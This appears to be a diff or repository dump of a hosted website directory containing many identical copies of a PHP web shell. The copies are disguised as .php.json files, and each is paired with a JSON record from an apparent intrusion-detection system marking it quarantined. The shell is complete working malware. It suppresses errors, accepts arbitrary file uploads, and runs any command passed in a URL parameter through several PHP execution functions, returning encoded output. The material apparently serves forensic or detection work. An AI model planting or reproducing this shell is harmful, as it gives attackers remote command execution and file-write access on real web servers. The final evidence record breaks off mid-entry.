var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2922",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_oqdklpwt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_oqdklpwt.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783870216,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_oqdklpwt.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2910",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_q9pnu7nm.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_q9pnu7nm.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783909515,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_q9pnu7nm.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2886",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_t49gsxsb.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_t49gsxsb.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783866426,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_t49gsxsb.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2891",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_tgzxhs6h.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_tgzxhs6h.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783909515,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_tgzxhs6h.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2837",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_txdr2don.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_txdr2don.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783865770,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_txdr2don.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2906",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_w2mu1xvl.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_w2mu1xvl.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783904363,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_w2mu1xvl.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json
Normal file
39
var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2860",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:_h3x_zpjfu3nd.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/_h3x_zpjfu3nd.php.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783834298,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "_h3x_zpjfu3nd.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json
vendored
Normal file
39
var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json
vendored
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
15
var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json
vendored
Normal file
15
var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3115",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_7femdzwq.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_7femdzwq.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783858331,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/_h3x_7femdzwq.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json
vendored
Normal file
39
var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json
vendored
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
15
var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json
vendored
Normal file
15
var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3126",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_jbpjh349.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_jbpjh349.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783857941,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cache/_h3x_jbpjh349.php.json.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
39
var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json
vendored
Normal file
39
var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json
vendored
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
@ob_start();
|
||||||
|
@set_error_handler(null);
|
||||||
|
@set_exception_handler(null);
|
||||||
|
@ini_set('display_errors',0);
|
||||||
|
if(!isset($_GET['c'])&&!isset($_GET['ss'])){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
if(isset($_GET['ss'])&&$_GET['ss']=='up'){
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/html');
|
||||||
|
if(isset($_FILES['f'])){
|
||||||
|
move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
|
||||||
|
echo 'Saved: '.$_FILES['f']['name'];
|
||||||
|
}else{
|
||||||
|
echo '<form method=post enctype=multipart/form-data>'
|
||||||
|
.'<input type=file name=f><button>Upload</button></form>';
|
||||||
|
}
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
$c=$_GET['c'].' 2>&1';
|
||||||
|
$o='';
|
||||||
|
if(function_exists('shell_exec')){$o=@shell_exec($c);}
|
||||||
|
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
|
||||||
|
elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
|
||||||
|
elseif(function_exists('popen')){
|
||||||
|
$h=@popen($c,'r');$o='';
|
||||||
|
while(!feof($h)){$o.=fread($h,4096);}
|
||||||
|
pclose($h);
|
||||||
|
}else{$o='BLOCKED';}
|
||||||
|
@ob_end_clean();
|
||||||
|
header('Content-Type: text/plain');
|
||||||
|
echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';
|
||||||
|
exit(0);
|
||||||
|
?>
|
||||||
15
var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json
vendored
Normal file
15
var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json.evidence.json
vendored
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3114",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:cache/_h3x_kgo3v2ap.php.json.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cache/_h3x_kgo3v2ap.php.json.json)",
|
||||||
|
"original_sha256": "49e74147617a8cabc0862ee23dafe141c9fbe9a5dd768fe9df7639b8351e5b7c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1783838213,
|
||||||
|
"size": 1228,
|
||||||
|
"uid": 20043
